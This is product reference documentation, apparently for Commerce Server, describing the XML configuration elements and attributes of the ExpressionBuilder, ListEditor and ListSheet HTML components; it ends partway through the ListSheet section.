This required element specifies a profile in one of two ways. For Profile Definitions defined within Commerce Server, the name of the profile is specified as data associated with the element. For profiles not defined within Commerce Server, the URL of a valid XML document containing one or more profiles is specified as the value of the SRC attribute.

Parent Element
PROFILE-LIST
Required Child Elements
None.
Optional Child Elements
None.
Data
When the SRC attribute is not present, the name of the profile is specified as data within the PROFILE element. Otherwise, no data is present.

Attributes

Attribute | Description
SRC | Provides the URL of a valid XML document that contains one or more profiles not defined within Commerce Server. Optional. Legal values: A valid URL. Default value: None. When this attribute is specified, the PROFILE element should not contain any data.

REMARKS

When the name of a Profile Definition defined within Commerce Server is specified as data for this element, the name must be of the form "CatalogName.ProfileName". For example, "UserProfiles.UserObject".

When a profile not defined within Commerce Server is specified using the SRC attribute, it must conform to a defined XML structure for profile specification. For more information about this structure, see Specifying Profiles and Site Terms in the QueryBuilder HTC.

The PROFILE element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

SITE-TERMS

This optional element specifies alternate information about whether the ExpressionBuilder HTC should load site-terms, and, if so, from where.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
NOLOAD | Suppresses the loading of site-terms for this instance of the ExpressionBuilder HTC (when set to "1"). Optional. Legal values: "1". Default value: None. If site-term loading is suppressed and expression bodies containing site-terms are passed to the ExpressionBuilder HTC, errors will result. This attribute should not be specified in combination with the URL attribute.
URL | Provides the URL of a valid XML document that contains alternate site-terms for use in this instance of the ExpressionBuilder HTC. Optional. Legal values: A valid URL. Default value: None. This attribute should not be specified in combination with the NOLOAD attribute.

REMARKS

When the SITE-TERMS element is present, either the NOLOAD attribute or the URL attribute (but not both) must be specified.

When the SITE-TERMS element is not present, site terms are loaded from the same folder specified by the required EXPR-ASP element.

When an alternate set of site terms is specified using the URL attribute, it must conform to the defined XML structure for site term specification. For more information about this structure, see Specifying Profiles and Site Terms in the QueryBuilder HTC.

The SITE-TERMS element is used only by the embedded QueryBuilder HTC.

Return to XML Structure

EEE-INTRINSICS

This optional element, when present, causes the ExpressionBuilder HTC to expose the intrinsic properties of the Expression Evaluator as a profile in its drop-down menus.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

The EEE-INTRINSICS element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

DEBUG

This optional element, when present, causes the ExpressionBuilder HTC to display debugging information.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

The DEBUG element is used by both the ExpressionBuilder HTC and the embedded QueryBuilder HTC.

Return to XML Structure

RENAME

This optional element controls whether the ExpressionBuilder HTC will allow the renaming of expressions during editing.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
Typically, the string "no".
Attributes
None.

Remarks

If the string "no" appears as data associated with this element, renaming of expressions is not allowed. Given any other data string, or the absence of the RENAME element, renaming is allowed.

If the ExpressionBuilder HTC is activated in either the create or the createfrom mode, the RENAME element is ignored and renaming is always allowed.

The RENAME element is only used by the ExpressionBuilder HTC.

Return to XML Structure

HIDEBUTTONS

This optional element, when present, causes the ExpressionBuilder HTC to hide the Save, Cancel, and Help buttons.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

  • The HIDEBUTTONS element is only used by the ExpressionBuilder HTC.

Return to XML Structure

TYPESOPS

This optional element, when present, specifies a types and operators XML file for the ExpressionBuilder HTC to use.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The relative path to the XML types and operators file.
Attributes
None.

Remarks

If this element is not specified, the default types and operators file is /Widgets/ExprbldrHTC/TypesOpsA.xml.

The TYPESOPS element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

MESSAGE

This optional element, when present, specifies an alternate message to be displayed above the expression-selector area.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The alternate message.
Attributes
None.

Remarks

When the MESSAGE element is not present, the default message is "Target according to the following conditions".

The MESSAGE element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

FILTER-CATEGORIES

This optional element, when present, contains a list of expression categories. When the ExpressionBuilder HTC builds a list of expressions that can be used to create new expressions, and the FILTER-CATEGORIES element has been specified, only expressions belonging to a specified category are included in the expression list. If the FILTER-CATEGORIES element is not present, all expressions are included in the expression list.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
category (typically at least one is present)
Data
None.
Attributes
None.

Remarks

If there are no CATEGORY elements contained in the FILTER-CATEGORIES element, it is treated as though the latter element is not present.

The FILTER-CATEGORIES element is only used by the ExpressionBuilder HTC.

Return to XML Structure

CATEGORY

This optional element is used to specify a category of expressions to be included in the expression list presented by the ExpressionBuilder HTC. Multiple CATEGORY elements can be used to specify that multiple expression categories be presented.

Parent Element
FILTER-CATEGORY
Required Child Elements
None.
Optional Child Elements
None.
Data
The expression category name.
Attributes
None.

Remarks

In general, at least one CATEGORY element will be present when the FILTER-CATEGORIES element is present. When all categories are to be included, the FILTER-CATEGORIES element may or may not be present.

The CATEGORY element is only used by the ExpressionBuilder HTC.

Return to XML Structure

SAVE-CATEGORY

This optional element, when present, specifies the category in which this expression will be saved.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of expression category with which the current expression will be associated when it is saved.
Attributes
None.

Remarks

When the SAVE-CATEGORY element is specified, the value specified as data for this element takes precedence over any previous category associated with the expression.

If the SAVE-CATEGORY element is not specified, the expression will not be associated with any category, regardless of any previous association.

The SAVE-CATEGORY element is only used by the ExpressionBuilder HTC.

Return to XML Structure

EDIT-NESTED

This optional element, when present, specifies whether editing of nested expressions is allowed or prevented, or allowed only if the user explicitly allows it in response to a warning dialog box.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
One of the three values "always", "warn", or "never". See Remarks for more details.
Attributes
None.

Remarks

Specifying "always" results in the nested expression being opened in edit mode. In general, this is not recommended.

Specifying "warn" results in a warning dialog box that offers the choice between opening the nested expression in edit mode or view mode.

Specifying "never" results in the nested expression being opened in view mode.

The default behavior, in the event that the EDIT-NESTED element is not present or contains an illegal data value, is to not allow the editing of nested expressions.

The EDIT-NESTED is only relevant when an expression is being created or edited.

The EDIT-NESTED element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

DATE-FORMAT

This optional element, when present, specifies the display format for dates.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for dates.
Attributes
None.

Remarks

Valid formats for dates are "m/d/yyyy", "d/m/yyyy", and "yyyy/m/d". The default is "m/d/yyyy". The separator can be specified as any of the following three characters: forward slash ("/"), hyphen ("-"), and period ("."). The default separator is forward slash ("/"). Any number of the characters "m", "d", and "y" may be specified without affecting displayed dates; months and days will always be displayed without a leading zero, and years will always be displayed using 4 digits.

The DATE-FORMAT element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

DATE-FIRSTDAY

This optional element, when present, specifies the day of the week that will be considered the first day of the week.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
A number in the range 0 (Sunday) to 6 (Saturday).
Attributes
None.

Remarks

Days of the week are represented by numbers between 0 and 6, as follows: 0 = Sunday; 1 = Monday; 2 = Tuesday, 3 = Wednesday; 4 = Thursday; 5 = Friday, and 6 = Saturday.

If this element is not present, the default first day of the week is Sunday.

The DATE-FIRSTDAY element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

NUMBER-FORMAT

This optional element, when present, specifies the display format for numbers.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for numbers.
Attributes
None.

Remarks

Valid formats for numbers are specified using a string that indicates the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), space-separated from the number or not, or it can be parentheses around the number.

If this element is not present, the default format is "–1.1".

Examples:

1.1 -1.1 1.1- (1.1)

The NUMBER-FORMAT element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

CURRENCY-FORMAT

This optional element, when present, specifies the display format for currency.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for currency.
Attributes
None.

Remarks

Valid formats for currency are specified using a string that indicates the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), space-separated from the number or not, or it can be parentheses around the number.

If this element is not present, the default format is "–1.1".

No currency symbol should be specified as part of this format.

Examples:

1.1 -1.1 1.1- (1.1)

The CURRENCY-FORMAT element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

HELPTOPIC

This optional element, when present, specifies a help topic for this instance of the QueryBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The absolute URL of the corresponding help topic.
Attributes
None.

Remarks

If this element is present, the QueryBuilder HTC will display a help button, which when clicked will display the specified help topic.

Use the server-side utility routine sRelURL2AbsURL to generate the absolute URL required by this element. For example:

<HELPTOPIC><%=sRelURL2AbsURL("../docs/htm/yourhelpfile.htm")%></HELPTOPIC>

The HELPTOPIC element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

ADVANCED

This optional element, when present, specifies that advanced editing will be allowed. Advanced editing allows the use of the OR operator in expressions.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

If this element is not present, advanced editing is not allowed.

The ADVANCED element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

FILTER-PROPERTIES

This optional element, when present, specifies an Extensible Stylesheet Language (XSL) pattern fragment used for filtering properties from the profile. If this element is present, the provided XSL pattern will be applied to the properties in each profile that is loaded. Any properties that do not conform to the XSL pattern will not be shown when creating or editing expressions.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The XSL pattern fragment.
Attributes
None.

Remarks

The default XSL pattern fragment is: not(@isActive) || @isActive != '0'

The data values supplied for this element are actually XSL pattern fragments because they are surrounded by the strings "Property[" and "]" to achieve the actual XSL pattern. For example, the actual default XSL pattern, shown with the added strings in bold, is as follows:

Property[not(@isActive) || @isActive != '0']

Element attributes return "0" when they are not defined. Therefore, it is recommended the XSL pattern fragments specified as data for this element check for the presence of an attribute as well as for the attribute value being set to zero. The default XSL pattern is an example of both of these conditions being checked.

The FILTER-PROPERTIES element is only used by the embedded QueryBuilder HTC.

Return to XML Structure


ListEditor Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by the ListEditor HTML component (HTC).

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not bolded.

Note

  • The XML elements and attributes in the MetaXML data-island for the ListEditor HTC must be expressed in lowercase letters.

XML Structure

<listeditor>
  <global pagecontrols pagesize sort/>
  <columns>
    <column format hide id width>Column name</column>
  </columns>
  <operations>
    <newpage formid />
    <sort formid />
    <custom_op formid />
  </operations>
  <fields>
    <boolean browse browsereadonly default disabled hide
             id onbrowse onchange onerror readonly
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <name>Name of field in left-hand column</name>
      <label>Checkbox label</label>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </boolean>
    <date browse browsereadonly default disabled firstday
          hide id max min onbrowse onchange onerror
          onrequire onvalid readonly required
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <format>Date format to use</format>
      <error>Name of field in left-hand column</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </date>
    <numeric browse browsereadonly default disabled hide id
             max min onbrowse onchange onerror onrequire
             onvalid readonly required subtype
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <format>Number format to use</format>
      <error>Validation error message</error>
      <name>Name of field in left-hand column</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </numeric>
    <select browse browsereadonly default disabled hide
            htmloptions id multilingual onbrowse
            onchange onerror onvalid readonly
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <name>Name of field in left-hand column</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
      <select id>
        <option value>Item display name</option>
      </select>
      ...
      <select id>
        <option value>Item display name</option>
      </select>
    </select>
    <text browse browsereadonly default disabled hide id
          maxlen minlen multilingual onbrowse onchange onerror
          onrequire onvalid readonly required subtype
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <charmask>Validation character mask</charmask>
      <error>Validation error message</error>
      <name>Name of field in left-hand column</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </text>
    <time browse browsereadonly default disabled hide
          id max min onbrowse onchange onerror
          onrequire onvalid readonly required
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <error>Validation error message</error>
      <name>Name of field in left-hand column</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </time>
  </fields>
</listeditor>

listeditor

This required element contains the configuration information for a ListEditor HTC.

Parent Element
None (document root).
Required Child Elements
columns, fields
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

global

This optional element specifies sorting and paging characteristics, if any, of a ListEditor HTC.

Parent Element
listeditor
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
pagecontrols | Specifies whether or not page controls are displayed. Optional. Legal values: "yes" and "no". If the value is "no", the display of page controls is suppressed. Default value: "yes".
pagesize | Specifies the number of records displayed per page. Optional. Legal values: Integers. Default value: 20. This value is used to calculate the number of pages available for display.
sort | Specifies whether clicking on a column heading sorts the records according to the values in that column. Optional. Legal values: "yes" and "no". If the value is "no", column sorting is disabled and the firing of the OnPage event is suppressed. Default value: "no".

Return to XML Structure

columns

This required element contains the descriptions of the various columns that the ListEditor HTC displays in the list area.

Parent Element
listeditor
Required Child Elements
column

(at least one is required, but normally two or more are present)

Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

column

This required element provides configuration information about a particular column in the list area of a ListEditor HTC.

Parent Element
columns
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the column as the user sees it.

Attributes

Attribute Description
format Specifies how the data in this column should be formatted.

Optional.

Legal values: "select", "password", and "float". See below for additional details.

Default value: None.

When the format attribute is set to "select", the embedded ListSheet HTC will look for a select element in the metadata corresponding to the id attribute and look up the display value to display for the value in the column.

When the format attribute is set to "password", the value will be masked just like in a password type HTML element.

When the format attribute is set to "float", the value will be normalized. For example, "2.00" displays as "2".
hide Specifies whether this column should be displayed.

Optional.

Legal values: "yes" and "no". If the value is "yes", the column is not displayed.

Default value: "no".
id Provides an identifier used to associate this column with the corresponding data in the DataXML container attribute.

Required.

The value of this attribute may or may not correspond to the value of the id attribute for one of the field elements.
width Specifies an initial width for the column corresponding to this element.

Optional.

Legal values: Integers between 0 and 100, representing column width as a percentage of control width. The specified widths of all columns are normalized if they do not add up to 100.

Default value: If a width is not specified, the width percentage is calculated as the total width divided by the number of displayed columns.

Remarks

At least one column element is required.

Return to XML Structure

operations

This optional element contains other elements that, when present, cause certain standard XMLHTTP operations to be performed when specific events are fired. This set of operations can also be extended with custom operations.

Parent Element
listeditor
Required Child Elements
None.
Optional Child Elements
page, sort, custom_op
Data
None.
Attributes
None.

Remarks

All child elements, including custom child elements, represent different operations that will be performed when different events occur.

If the operations element is present but contains no child elements, it will be ignored.

The operations corresponding to the child elements are known as XMLHTTP operations. For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

Return to XML Structure

newpage

This optional element corresponds to a standard XMLHTTP operation available with the ListEditor HTC. When this element is present, the entire list reloads with new data after the OnNewPage event fires. The new data is returned from a page on the server and must not contain anything except the data in the standard XML data format.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnNewPage event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form must be set to the post page (the page that returns the new page of data).

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "newpage". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnNewPage event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
prevpage | The value of this attribute is set to the number of the page currently being displayed, soon to be the previous page displayed.
page | The value of this attribute is set to the number of the new page to be displayed.
column | The value of this attribute is set to the ID of the sort column for the new page of data. This ID is the name of the relevant child element of the record element.
direction | The value of this attribute is set to either "asc" or "desc", depending on whether the new page of data should be sorted in the ascending direction or the descending direction, respectively.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

sort

This optional element corresponds to a standard XMLHTTP operation available with the ListEditor HTC. When this element is present, the entire list reloads with new data after the OnHeaderClick event fires. The new data is returned from a page on the server and must not contain anything except the data in the standard XML data format.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnHeaderClick event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page (the page that returns the first page of data, re-sorted as specified).

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "sort". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnHeaderClick event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
page | The value of this attribute is always set to 1. This operation does not permit re-sorting the list without returning to the beginning of the list, where the "top" of the sort will be displayed.
column | The value of this attribute is set to the ID of the sort column for the new page of data. This ID is the name of the relevant child element of the record element.
direction | The value of this attribute is set to either "asc" or "desc", depending on whether the new page of data should be sorted in the ascending direction or the descending direction, respectively.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

custom_op

Custom operation elements, which are optional, correspond to custom XMLHTTP operations defined for a ListEditor HTC. When a custom operation element is present, the entire list reloads when the reload method is called with its sOp parameter set to the custom name for this element.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the reload method is called with its sOp parameter set to the custom name for this element. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For example, if the element double_sort is included as a custom operation, and the reload method is called with its sOp parameter set to "double_sort", the form with the specified identifier will be posted, as in the following code:

bRetVal = elListEditor.reload("double_sort")

The reload method returns False if no XML is returned or if any error elements are present, and True otherwise.

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page, the page that returns the new data.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "custom_op". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to a particular invocation of the reload method. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.

In some situations it might be appropriate to include other parameters in the posted form as part of fetching the correct XML response. For example, suppose a response page is designed to be shared by several different pages, returning different results based on which page calls it. In this case, the form might have a hidden element containing the page name so the response page will know which page called it.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

fields

This required element contains the elements that specify the various fields to be displayed in the edit area of the ListEditor HTC.

Parent Element
listeditor
Required Child Elements
None.
Optional Child Elements
boolean, date, numeric, select, text, time
Data
None.
Attributes
None.

Remarks

It must contain at least one such element, though in general it will contain several such elements, corresponding to a ListEditor HTC with several fields in the edit area.

Elements defined within the fields element are displayed as rows in the edit area of the ListEditor, in the order in which they appear within the fields element. For example, the first element defines the top row and the last element defines the bottom row.

The child elements of the fields element are essentially the same as the elements that can be defined as child elements of the editfield element in the configuration data for the EditField HTC. The primary difference is that child elements of the ListEditor HTC can include additional child elements, namely the name and tooltip elements. For information about the attributes that are shared, see Shared EditField Attributes.

Return to XML Structure

boolean

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a Boolean value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, label, name, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, onbrowse, onchange, onerror, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

date

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a date value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

numeric

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a numeric value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

select

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a fixed set of choices.

Parent Element
fields
Required Child Elements
select (at least one, but generally two or more)
Optional Child Elements
browsetooltip, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, htmloptions, multilingual, onbrowse, onchange, onerror, onvalid, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

text

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a text value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, charmask, error, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, maxlen, minlen, multilingual, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

time

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a time value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
Remarks

The format of fields associated with the time element is fixed. Hours and minutes are displayed in a 24-hour format, separated by the colon character (":"). Seconds are not supported.

Return to XML Structure

browsetooltip, charmask, error, format, label, name, option, prompt, select, tooltip

These ten elements are used to qualify or extend the behavior of one or more of the EditField elements of various data types, embedded within the ListEditor HTC. For more information, see Shared EditField Child Elements.

Return to XML Structure


ListSheet Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by the ListSheet HTML component (HTC).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the ListSheet HTC must be expressed in lowercase letters.

XML Structure

<listsheet>
  <global contextmenuid contextmenuwidth curpage headers
          pagecontrols pagesize recordcount scroll
          selectall selection selectionbuttons sort/>
  <columns>
    <column format hide id id2
            id3 sortdir width>Column heading name</column>
    <subobject datawidth labelwidth type>
      <column format hide id width>Column heading name</column>
    </subobject>
  </columns>
  <operations>
    <page formid />
    <sort formid />
    <sublist formid />
    <custom_op formid />
  </operations>
</listsheet>

listsheet

This required element contains the configuration information for a ListSheet HTML component (HTC).

Parent Element
None (document root).
Required Child Elements
columns, global
Optional Child Elements
operations
Data
None.
Attributes
None.

Return to XML Structure

global

This required element specifies global characteristics of a ListSheet HTC, allowing ListSheet HTCs to exhibit different behavior in different situations.

Parent Element
listsheet
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
contextmenuid | Specifies that the ListSheet HTC should provide a right-click task context menu, and that a double-click should run the default task (as specified by the global variable g_sContextDefault) for the selected item in the list. Optional. Legal values: Most modules will use the menu with the ID "bdcontextmenu", ilt by inserting the taskbar. However, custom context menus can be built and used instead. Setting a value here enables the onContentClick event. Default value: None.
contextmenuwidth | Specifies the width of the right-click task context menu. Optional. Legal values: A legal CSS length value in pixels. A suffix of "px" is not required. Default value: "220px".
curpage | Specifies the current page number. Optional. Legal values: Integers. Default value: 1.
headers | Specifies whether column headings are displayed. Optional. Legal values: "yes" and "no". If the value is "no", the display of column headings is suppressed. Default value: "yes".
pagecontrols | Specifies whether or not page controls are displayed. Optional. Legal values: "yes" and "no". If the value is "no", the display of page controls is suppressed. Default value: "yes".
pagesize | Specifies the number of records displayed per page. Optional. Legal values: Integers. Default value: 20. This value is used to calculate the number of pages available for display.
recordcount | Specifies the total number of records in all pages. Optional. Legal values: Integers. Default value: None. This value is used to calculate the number of pages available for display. If it is set to -1 and page controls are displayed, then no last page display or validation is performed.
scroll | Controls whether or not scroll bars are available to display the entire list. Optional. Legal values: "yes" and "no". If the value is "no", the display of scroll bars is suppressed, resulting in a ListSheet HTC that is the height of the entire list (scrolling in the browser might be required in this case). Default value: "yes".
selectall | Specifies whether the ListSheet HTC will show all items as selected. Optional. Legal values: "yes" and "no". If the value is "yes", all items are selected. Default value: "no".
selection | Specifies whether multiple selection is allowed in this instance of the ListSheet HTC. Optional. Legal values: "single" and "multi". Default value: "single". The Select All and Unselect All buttons are only displayed when the value is "multi".
selectionbuttons | Specifies whether the Select All and Unselect All buttons are displayed. Optional. Legal values: "yes" and "no". If the value is "no", display of the Select All and Unselect All buttons is suppressed. Default value: "yes".
sort | Specifies whether clicking on a column heading sorts the records according to the values in that column. Optional. Legal values: "yes" and "no". If the value is "no", column sorting is disabled and the firing of the OnPage event is suppressed. Default value: "yes".

Return to XML Structure

columns

This required element contains the descriptions of the various columns displayed by the ListSheet HTC.

Parent Element
listsheet
Required Child Elements
column (at least one)
Optional Child Elements
subobject
Data
None.
Attributes
None.

Return to XML Structure

column

This required element provides configuration information about a particular column in a ListSheet HTC.

Parent Element
columns
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the column as the user sees it.

Attributes

Attribute Description
format Specifies that special formatting should be used for this column.

Optional.

Legal values: "select", "password", "float". See below for additional details.

Default value: None.

The value "select" will look up the display value from a select list within the metadata.

The value "password" will mask the display in the same manner as an HTML password input element.

The value "float" will display the data as a normalized decimal number.
hide Specifies whether the column is displayed.

Optional.

Legal values: "yes" and "no". If the value is "yes", display of this column is suppressed.

Default value: "no".
id Provides the identifier used to associate this column with its corresponding first-level data.

Required.

Legal values: A string that uniquely identifies the corresponding first-level data in the XML data island identified by the DataXML container attribute.

Default value: None.

The ListSheet HTC expects to find this identifier as an XML element in the first-level of the data to be displayed.
id2 Provides the identifier used to associate this column with its corresponding second-level data.

Optional.

Legal values: A string that uniquely identifies the corresponding second-level data in the XML data island identified by the DataXML container attribute.

Default value: None.

The ListSheet HTC expects to find this identifier as an XML element in the second-level of the data to be displayed.

This attribute must be present for each column to be displayed as the second-level of a two- or three-tiered list.
id3 Provides the identifier used to associate this column with its corresponding third-level data.

Optional.

Legal values: A string that uniquely identifies the corresponding third-level data in the XML data island identified by the DataXML container attribute.

Default value: None.

The ListSheet HTC expects to find this identifier as an XML element in the third-level of the data to be displayed.

This attribute must be present for each column to be displayed as the third-level of a two- or three-tiered list.
sortdir When present, specifies the initial sort column and the direction of the sort.

Optional.

Legal values: "asc" and "desc" (ascending or descending, respectively).

Default value: None.

If more than one column has this attribute set, only the first one has any effect.
width Specifies an initial width for the column.

Optional.

Legal values: An integer between 0 and 100, representing column width as a percentage of control width. The specified widths of all columns are normalized if they do not add up to 100.

Default value: None.

If a width is not specified, the width percentage is calculated as the total width divided by the number of displayed columns.

Remarks

At least one column element is required, though typically several column elements will be specified.

Return to XML Structure

subobject

This optional element specifies details about the data displayed in the detail rows of heterogeneous grouped lists. This data is always specified as the second-level data in the DataXML container attribute, and can be displayed in either the list-style or the properties-style, as specified by the type attribute.

Parent Element
columns
Required Child Elements
column
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
datawidth | Specifies an initial width for the data column when the type attribute is set to "properties". Optional. Legal values: An integer between 0 and 100, representing data column width as a percentage of control width. Default value: 50. When the type attribute is set to "list", this attribute is irrelevant and is ignored if present.
labelwidth | Specifies an initial width for the label column when the type attribute is set to "properties". Optional. Legal values: An integer between 0 and 100, representing label column width as a percentage of control width. Default value: 30. When the type attribute is set to "list", this attribute is irrelevant and is ignored if present.
type | Specifies which type of heterogeneous grouped list will be displayed. Required. Legal values: "list" and "properties". Default value: None.

Remarks

Typically, more than one column element will be specified.

The presence of the subobject element indicates that the ListSheet HTC will display as a heterogeneous grouped list. In this case, the id2 and id3 attributes of the top-level column elements are not used.

When the subobject element is absent, the ListSheet HTC will display as either a flat list, a two-level homogeneous grouped item list, or a three-level homogeneous grouped item list, depending on how many of the attributes id, id2, and id3 are specified.

Return to XML Structure

column

This required element provides configuration information about a particular row or column in a ListSheet displaying a heterogeneous grouped list. Whether it is a column or row depends on whether the type attribute of the subobject element is set to "list" or "properties", respectively.

Parent Element
subobject
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the column or the label on the row as the user sees it.

Attributes

Attribute Description
